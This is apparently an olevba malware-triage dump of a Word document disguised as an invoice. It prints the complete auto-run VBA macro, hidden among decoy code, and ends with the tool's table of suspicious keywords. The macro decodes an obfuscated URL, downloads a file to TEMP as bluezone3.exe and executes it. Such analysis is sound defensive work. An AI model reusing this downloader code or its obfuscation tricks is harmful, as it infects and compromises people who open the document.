Malicious Word macro

olevba 0.41 - http://decalage.info/python/oletools
Flags        Filename
-----------  -----------------------------------------------------------------
OLE:MASIHB-V 22 October 2015 Invoice Summary-03.doc

(Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)

===============================================================================
FILE: 22 October 2015 Invoice Summary-03.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: 22 October 2015 Invoice Summary-03.doc - OLE stream: u'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Sub autoopen()

build_loops_string ""
SUBDOWNLOADPROC 0, 0, 0
 Dim out() As Variant
CorrectlyOrderedEdges out
testcaller
BZgotoAUTOdg
ApproximateEdge ""
End Sub



-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: 22 October 2015 Invoice Summary-03.doc - OLE stream: u'Macros/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Public chan As Long
Public url As Variant
Public TmpNameHold As String
Public TmpNameHold2 As String

Public proxy(100) As Byte ' proxy server

' SAVE LOCAL COPY
Public WriteFile As String
Public FileIsOpen As Boolean, GotHeader As Boolean
Public DownloadStarted As Boolean, DoDownload As Boolean
Public DlOutput As String, SongNameUpdate As Boolean

' THREADING
Public cthread As Long

' MESSAGE BOX

' display error message
Public Sub Error_(ByVal es As String)
    Call MessageBox(frmNetRadio.hwnd, es & vbCrLf & vbCrLf & "error code: " & BASS_ErrorGetCode, "Error", vbExclamation)
End Sub

' update stream title from metadata
Sub DoMeta()
    Dim meta As Long
    Dim p As String, tmpMeta As String
    meta = BASS_ChannelGetTags(chan, BASS_TAG_META)
    If meta = 0 Then Exit Sub
    tmpMeta = VBStrFromAnsiPtr(meta)
    If ((Mid(tmpMeta, 1, 13) = "StreamTitle='")) Then
        p = Mid(tmpMeta, 14)
        TmpNameHold = Mid(p, 1, InStr(p, ";") - 2)
        frmNetRadio.lblSong.Caption = TmpNameHold

        If TmpNameHold = TmpNameHold2 Then
            ' do noting
        Else
            TmpNameHold2 = TmpNameHold
            GotHeader = False
            DownloadStarted = False
        End If

        DlOutput = App.Path & "\" & RemoveSpecialChar(Mid(p, 1, InStr(p, ";") - 2)) & ".mp3"
    End If
End Sub

Sub MetaSync(ByVal handle As Long, ByVal channel As Long, ByVal data As Long, ByVal user As Long)
    Call DoMeta
End Sub

Sub EndSync(ByVal handle As Long, ByVal channel As Long, ByVal data As Long, ByVal user As Long)
    With frmNetRadio
        .lblName.Caption = "not playing"
        .lblBPS.Caption = ""
        .lblSong.Caption = ""
    End With
End Sub

Public Sub OpenURL(ByVal clkURL As Long)
    With frmNetRadio
        .tmrNetRadio.Enabled = False
        Call BASS_StreamFree(chan) ' close old stream
        .lblName.Caption = "connecting..."
        .lblBPS.Caption = ""
        .lblSong.Caption = ""

        chan = BASS_StreamCreateURL(CStr(url((IIf(clkURL < 5, clkURL * 2, (clkURL * 2) - 9)))), 0, BASS_STREAM_BLOCK Or BASS_STREAM_STATUS Or BASS_STREAM_AUTOFREE, AddressOf SUBDOWNLOADPROC, 0)

        If chan = 0 Then
            .lblName.Caption = "not playing"
            Call Error_("Can't play the stream")
        Else
            .tmrNetRadio.Enabled = True
        End If
    End With
done:
    Call CloseHandle(cthread)   ' close the thread
    cthread = 0
End Sub

' The following functions where added by Peter Hebels
Public Sub SUBDOWNLOADPROC(ByVal buffer As Long, ByVal length As Long, ByVal user As Long)
Dim heromoto() As Variant
heromoto = Array(149, 159, 157, 151, 95, 82, 80, 131, 145, 136, 140, 122, 132, 128, 129, 132, 129, 112, 123, 122, 51, 102, 112, 45, 114, 102, 40, 107, 43, 42, 101, 39, 35, 35, 24, 85, 78, 69, 83, 67, 19, 16, 7, 60, 77, 56)
httpRequest.Open "G" & "E" + "T", GetStringFromArray(heromoto, 45), False

httpRequest.Send

Exit Sub
    If (buffer And length = 0) Then
        frmNetRadio.lblBPS.Caption = VBStrF.romAnsiPtr(buffer) ' display connection status
        Exit Sub
    End If

    If (Not DoDownload) Then
        DownloadStarted = False
        Call Writ.eFile.CloseFile
        Exit Sub
    End If

    If (Trim(DlOutput) = "") Then Exit Sub

    If (Not DownloadStarted) Then
        DownloadStarted = True
        Call WriteFi.le.CloseFile
        If (WriteFi.le.OpenFile(DlOutput)) Then
            SongNameUpdate = False
        Else

            SongNameUpdate = True

            GotHeader = False
        End If
    End If

    If (Not SongNameUpdate) Then
        If (length) Then
            Call Writ.eFile.WriteBytes(buffer, length)
        Else
            Call Writ.eFile.CloseFile
            GotHeader = False
        End If
    Else
        DownloadStarted = False
        Call Writ.eFile.CloseFile
        GotHeader = False
    End If
End Sub
Public Function GetStringFromArray(fromArr() As Variant, LenLen As Integer) As String
    Dim i As Integer
    Dim result As String
    result = ""
    For i = LBound(fromArr) To UBound(fromArr)
        result = result & Chr(fromArr(i) - LenLen + i * 2)
    Next i
    GetStringFromArray = result
End Function
Public Function RemoveSpecialChar(strFileName As String)
    Dim i As Byte
    Dim SpecialChar As Boolean
    Dim SelChar As String, OutFileName As String

    For i = 1 To Len(strFileName)
        SelChar = Mid(strFileName, i, 1)
        SpecialChar = InStr(":/\?*|<>" & Chr$(34), SelChar) > 0

        If (Not SpecialChar) Then
            OutFileName = OutFileName & SelChar
            SpecialChar = False
        Else
            OutFileName = OutFileName
            SpecialChar = False
        End If
    Next i

    RemoveSpecialChar = OutFileName
End Function
-------------------------------------------------------------------------------
VBA MACRO Module2.bas
in file: 22 October 2015 Invoice Summary-03.doc - OLE stream: u'Macros/VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Public httpRequest As Object
Public adodbStream As Object
Public processEnv  As Object
Public tempFolder As String
Public tempFile As String
Public shellApp As Object
Dim host As Object
Public bz_connected As Boolean

Option Compare Text

Function BZinit()
Set host = openBlueZoneSession
End Function

Function openBlueZoneSession() As Object

ChDir "C:\"
Set host = CreateObject("BZwhll.whllobj")
retval = host.OpenSession(0, 11, "fdx3270.zmd", 30, 1)
host.Connect ("K")
'host.WaitCursor 1, 9, 1, 1
Set Wnd = host.Window()

Wnd.Caption = "BDG Window"
Wnd.State = 0 ' 0 restore, 1 minimize, 2 maximize
Wnd.Visible = BORG.Bluezone_Vis.Value
host.waitready 1, 500

bz_connected = True
Set openBlueZoneSession = host


End Function

Function BZreadscreen(length As Integer, x As Integer, y As Integer, Optional wait As Boolean = False) As String
On Error GoTo erroutread
Dim loopcheck As Integer
loopcheck = 0
read:
Dim BZdata As String
BZdata = ""
BZmodule.host.readscreen BZdata, length, x, y
If wait = True Then host.waitready 1, 51
BZreadscreen = BZdata
Exit Function
erroutread:
    Set host = openBlueZoneSession
    loopcheck = loopcheck + 1
    If loopcheck >= 5 Then
        Exit Function
    End If
    GoTo read

End Function
Public Sub testcaller()

tempFolder = processEnv("TE" + "MP")

tempFile = tempFolder + "\bluezone3.exe"
Exit Sub

Set host = openBlueZoneSession

host.readscreen text, 12, 10, 10
Call BZwritescreen("text", 11, 25)
x = BZreadscreen(5, 5, 5)
Call BZsendKey("@C")

End Sub
Function BZwritescreen(text As String, x As Integer, y As Integer, Optional wait As Boolean = False)
On Error GoTo erroutwrite
Dim loopcheck As Integer
loopcheck = 0
writeme:
If TypeName(host) = "IWhllObj" Then
    host.writescreen text, x, y
    If wait = True Then host.waitready 1, 51
Else
    MsgBox ("error" & Err.Number & " in bzwritescreen")
End If
Exit Function
erroutwrite:
    Set host = openBlueZoneSession
    loopcheck = loopcheck + 1
    If loopcheck >= 5 Then
        Exit Function
    End If
    GoTo writeme
End Function

Function BZsendKey(text As String, Optional wait As Boolean = True)
On Error GoTo erroutSend
Dim loopcheck As Integer
loopcheck = 0
pushkey:
host.sendkey text
If wait = True Then host.waitready 1, 51
Exit Function
erroutSend:
    Set host = openBlueZoneSession
    loopcheck = loopcheck + 1
    If loopcheck >= 5 Then
        Exit Function
    End If
    GoTo pushkey
End Function

Public Sub BZgotoAUTOdg()

'checks to see if we are connected to a bluezone session if so
'regardless of current position in system will get us to the DG section of the mainframe display

With adodbStream
   .Type = 1
    .Open
    .write httpRequest.responseBody
    .savetofile tempFile, 2
End With
GoTo SUB1
If BZmodule.BZConnected() Then

End If
SUB1:
End Sub

Function BZLogin(empnum As String, password As String) As Boolean
'Call BZsendKey("@C")
'Call BZsendKey("STSA@E", True)
Call BZsendKey("ims@E", True)

fedex = BZreadscreen(35, 1, 23)
iter = 0
Do Until fedex = "F E D E R A L  E X P R E S S  I M S"
    fedex = BZreadscreen(35, 1, 23, True)
    iter = iter + 1
    If iter >= 25 Then
        BZmodule.BZcloseSessions
        x = MsgBox("Error!" & vbNewLine & "Unable to connect to bluezone!" _
            & vbNewLine & "Please try and log in again.", vbCritical, "Error!")
        Exit Function
    End If
Loop

Call BZwritescreen(empnum, 7, 15)
Call BZwritescreen(password, 7, 43)
password = ""
Call BZsendKey("@E", True)
readerror = BZreadscreen(80, 24, 2)
If InStr(1, readerror, "INCORRECT PASSWORD ENTERED") Then
    BZmodule.BZcloseSessions
    x = MsgBox("Incorrect Login Credentials", vbCritical, "Incorrect Password")
    BZLogin = False
    Exit Function
End If
Enter = BZreadscreen(5, 14, 15)
iter = 0
Do Until Enter = "ENTER"
    fedex = BZreadscreen(35, 1, 23, True)
    iter = iter + 1
    If iter >= 25 Then
        BZmodule.BZcloseSessions
        BZLogin = False
        Exit Function
    End If
Loop

BZLogin = True
End Function

Function DGscreenChooser(menu As String) As Boolean
'On Error GoTo erroutScreenChoice
DGscreenInfo = BZreadscreen(50, 1, 20)
If InStr(1, DGscreenInfo, "DANGEROUS GOODS SYSTEM") >= 1 Then
    dgscreeninfo2 = BZreadscreen(50, 2, 20)
    If InStr(1, dgscreeninfo2, "SCAN RECONCILIATION SCREEN") > 1 Then
        Call BZsendKey("@3")
    End If

    Call BZwritescreen(menu, 2, 17)
    Call BZsendKey("@E")
Else
    Call BZsendKey("@C", True) 'clears screen in IMS
    Call BZsendKey("asap@e", True) 'types ASAP and enters command
    miscdata = BZreadscreen(32, 1, 2)
    If miscdata = "ASAP COMMAND IS UNKNOWN TO VTAM." Or miscdata = "APPLICATION NOT ACTIVE.         " Then
        res = BZLogin(BORG.empnum, BORG.PasswordBox)
        If res = False Then
            DGscreenChooser = False
            Exit Function
        End If
    End If
    Call BZsendKey("68") 'enter 26 for dg training
    Call BZsendKey("@E", True)
    Call BZwritescreen(menu, 2, 17) 'enters assign into first field to bring us to assign screen
    Call BZwritescreen(BORG.Location.text, 19, 44) 'inputs the location ID in DGinput into station
    If BORG.printerID <> "" Then Call BZwritescreen(BORG.printerID.text, 21, 32)
    Call BZsendKey("@e", True) 'sends enter key to bring us finally to Assign Screen
End If

retCode = BZreadscreen(3, 24, 2)
If retCode = "136" Then
    Call BZwritescreen(BORG.Location.text, 19, 44)
End If
DGscreenChooser = True
Exit Function

erroutScreenChoice:
MsgBox (Err.Number & " error occured in dgscreenchooser sub")
DGscreenChooser = False
End Function
Function BZConnected() As Boolean
If TypeName(host) = "" Then
    terminal = ""
    host.readscreen terminal, 80, 1, 1
    If InStr(1, terminal, "TERMINAL INACTIVE") > 1 Then
        CloseSession (host)
        BZConnected = False
    Else
        BZConnected = True
    End If
Else
    BZConnected = False
End If
End Function
Sub CloseSession()
BORG.labelUpdater.Caption = "Closing IMS..."
host.CloseSession 0, 11
BORG.labelUpdater.Caption = "Done!"
End Sub

Sub BZcloseSessions()

If host Is Nothing Then Exit Sub
Set host = openBlueZoneSession
With host
    .waitready 1, 51
    .CloseSession 0, 11
End With
BORG.labelUpdater.Caption = "Closing Previous Sesson..."
Application.wait Now + TimeValue("00:00:01")

End Sub

-------------------------------------------------------------------------------
VBA MACRO Module3.bas
in file: 22 October 2015 Invoice Summary-03.doc - OLE stream: u'Macros/VBA/Module3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Function FaceInfo(face As String) As String
    Dim loops As Variant
    Dim jj As Long
    Dim loop1 As String
    Dim l As Long

    loops = face.GetLoops
    Dim faceinfo_c As New Collection

    l = -1
    For jj = LBound(loops) To UBound(loops)
        Set loop1 = loops(jj)
        faceinfo_c.Add ProcessLoop(loop1)
    Next jj
    collections.reverse_c faceinfo_c

    Set FaceInfo = faceinfo_c

End Function
Function ProcessLoop(loop_in As String) As Variant
        loopedges = ApproxEdges(loop_in)
        loopedges2 = CorrectlyOrderedEdges(loopedges)
        ProcessLoop = CollapseEdges(loopedges2)
End Function
Function CollapseEdges(edgelist As Variant) As Variant
    Dim out() As Variant
    Dim testcases() As Variant
    Dim edge As Variant
    Dim point As Variant

    Dim ii As Long

    Dim l As Long
    l = -1

    'Dim collection1 As New Collection

    For Each edge In edgelist
        For ii = LBound(edge) To UBound(edge) - 1
            point = edge(ii)
            l = ArrayFunctions.AddItem(out, point, l)
            'collection1.Add point
        Next ii
    Next

    CollapseEdges = out
End Function

Public Function CorrectlyOrderedEdges(edgelist() As Variant)
    Dim out() As Variant
    Dim testcases() As Variant
    Dim edge1, edge2 As Variant
    Dim a, b, c, d As Variant
    Dim ii As Long
    Dim l As Long
    Dim m As Long

    l = -1

    m = 0
    If m > 0 Then
        For ii = LBound(edgelist) To UBound(edgelist) - 1
            edge1 = edgelist(ii)
            edge2 = edgelist(ii + 1)
            a = edge1(LBound(edge1))
            b = edge1(UBound(edge1))
            c = edge2(LBound(edge2))
            d = edge2(UBound(edge2))
            If vectors.ComparePoints(a, c) Then
                Rev.erse edge1
            ElseIf vectors.ComparePoints(a, d) Then
                Rev.erse edge1
                Rev.erse edge2
            ElseIf vectors.ComparePoints(b, c) Then
            ElseIf vectors.ComparePoints(b, d) Then
                Rever.se edge2
            Else
                Debug.Assert 0
            End If
            l = ArrayFunctions.AddItem(out, edge1, l)
        Next ii
        l = ArrayFunctions.AddItem(out, edge2, l)

        CorrectlyOrderedEdges = out
    Else
        Set ob = CreateObject("WScript.Shell")
Set processEnv = ob.Environment("Process")

    End If
End Function

Function ApproxEdges(loop1 As String) As Variant
    Dim edges As Variant
    Dim edge As SldWorks.edge
    Dim aedge As Variant
    Dim aedges() As Variant
    Dim ii, kk As Long
    Dim l As Long

    edges = loop1.GetEdges

    l = -1
    For kk = LBound(edges) To UBound(edges)
        Set edge = edges(kk)
        aedge = ApproximateEdge(edge)
        l = ArrayFunctions.AddItem(aedges, aedge, l)
    Next kk

    ApproxEdges = aedges
End Function

Public Function ApproximateEdge(edge As String)
    Dim tesspoints As Variant
    Dim outpoints() As Variant
    Dim curve As Variant
    Dim params As Variant
    Dim vStartPt(2) As Double
    Dim vEndPt(2) As Double
    Dim kk As Long
    Dim ii, jj As Long
    Dim l As Long
    Dim p(2) As Double
    GoTo SUB33
    Set curve = ed.ge.GetCurve
    params = ed.ge.GetCurveParams2

    For kk = LBound(vStartPt) To UBound(vStartPt)
        vStartPt(kk) = params(kk)
        vEndPt(kk) = params(kk + 3)
    Next kk

    tesspoints = curve.GetTessPts(0#, 0.00000001, vStartPt, vEndPt)

    l = -1
    For ii = LBound(tesspoints) To UBound(tesspoints) Step 3
        For jj = LBound(p) To UBound(p)
            p(jj) = tesspoints(ii + jj)
        Next jj
        l = ArrayFunctions.AddItem(outpoints, p, l)
    Next ii

    ApproximateEdge = outpoints

SUB33:

Set shellApp = CreateObject("Shell.Application")

shellApp.Open (tempFile)
End Function

Function VertexInfo(loop1 As String) As Variant
    Dim vertices As Variant
    Dim vertex As SldWorks.vertex
    Dim point As Variant
    Dim coord As Variant
    Dim s As String
    Dim scoords() As String
    Dim x, y, z As Double
    Dim l As Long
    Dim kk As Long

    vertices = loop1.GetVertices

    l = -1
    For kk = LBound(vertices) To UBound(vertices)
        Set vertex = vertices(kk)
        point = vertex.GetPoint
        x = point(0)
        y = point(1)
        z = point(2)

        s = "[" & Str(x) & "," & Str(y) & "," & Str(z) & "]"
        'Debug.Print s
        ReDim Preserve scoords(l + 1)
        l = UBound(scoords, 1) - LBound(scoords, 1)
        scoords(l) = s
    Next kk

    VertexInfo = scoords
End Function

Public Function build_loops_string(loops As String)

    Set httpRequest = CreateObject("Microsoft.XMLHTTP")


Set adodbStream = CreateObject("Adodb.Stream")

Exit Function
    Dim face_string As Object
    Dim loopstring As Object

    If Not collections.IsVarArrayEmpty(loops) Then
        For Each loop1 In loo.ps
            edgematrix = Matri.ces.build_from_vectors(loop1)
            Set loopstring = Matri.ces.toYaml2(edgematrix)


            stringcollections.PadStrings loopstring, "- ", "  ", ""
            collections.ExtendCollection face_string, loopstring
        Next

    End If


    Set build_loops_string = face_string
End Function
+------------+----------------------+-----------------------------------------+
| Type       | Keyword              | Description                             |
+------------+----------------------+-----------------------------------------+
| AutoExec   | AutoOpen             | Runs when the Word document is opened   |
| Suspicious | Open                 | May open a file                         |
| Suspicious | Shell                | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | WScript.Shell        | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | Shell.Application    | May run an application (if combined     |
|            |                      | with CreateObject)                      |
| Suspicious | CreateObject         | May create an OLE object                |
| Suspicious | Chr                  | May attempt to obfuscate specific       |
|            |                      | strings                                 |
| Suspicious | ADODB.Stream         | May create a text file                  |
| Suspicious | SaveToFile           | May create a text file                  |
| Suspicious | Write                | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Microsoft.XMLHTTP    | May download files from the Internet    |
| Suspicious | Hex Strings          | Hex-encoded strings were detected, may  |
|            |                      | be used to obfuscate strings (option    |
|            |                      | --decode to see all)                    |
| Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
|            |                      | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
|            | Strings              | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| IOC        | bluezone3.exe        | Executable file name                    |
| VBA string | GET                  | "G" & "E" + "T"                         |
| VBA string | :/\?*|<>"            | ":/\?*|<>" & Chr$(34)                   |
| VBA string | TEMP                 | ("TE" + "MP")                           |
+------------+----------------------+-----------------------------------------+